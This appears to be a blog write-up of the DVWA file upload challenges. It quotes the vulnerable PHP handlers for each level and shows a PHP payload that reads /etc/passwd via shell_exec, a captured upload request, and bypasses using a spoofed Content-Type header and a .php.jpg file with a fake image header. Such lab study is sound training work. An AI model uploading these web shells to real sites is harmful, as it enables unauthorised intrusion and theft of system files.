DVWA Series - File Upload

This is the writeup on the file upload challenges in DVWA(Damn Vulnerable Web App).

DISCLAIMER: I DON'T PROMOTE THE USE OF THIS CODE IN A MALICIOUS WAY. HACKING DONE MUST BE DONE LEGALLY WITH CONSENT.

Low

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>
The code uploads the file regardless of the extension. We can write some PHP code that echos out the /etc/passwd file.

<?php 
echo(shell_exec("cat /etc/passwd"))


?>
Upload this file and access it and you'll find the password file echoed out.

Medium

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
In this code, PHP check whether the image is of type jpeg or png. To bypass this open up Burpe Suite and set the intercept option to true. Then go to the uploads page and upload the PHP file. You'll see something like this: -
POST /vulnerabilities/upload/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13238974921595473678245942804
Content-Length: 515
Connection: close
Referer: http://127.0.0.1/vulnerabilities/upload/
Cookie: PHPSESSID=s3invv9vqd02c1r5s96osdpe4m; security=medium
Upgrade-Insecure-Requests: 1

-----------------------------13238974921595473678245942804
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------13238974921595473678245942804
Content-Disposition: form-data; name="uploaded"; filename="fu.php"
Content-Type: application/x-php

<?php 
echo(shell_exec("cat /etc/passwd"))


?>
-----------------------------13238974921595473678245942804
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------13238974921595473678245942804--
Here edit  Content-type to image/jpeg or image/png and you're in.

High

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
In this level, the PHP code checks for the extension of the file. Take the PHP code from before. Change it's an extension to .php.jpg. Add GIF98 to its top. GIF98 is an image header that identifies that a file is an image. 

GIF98
<?php 
echo(shell_exec("cat /etc/passwd"))


?>
Upload the code and voila.


Comments

Popular Posts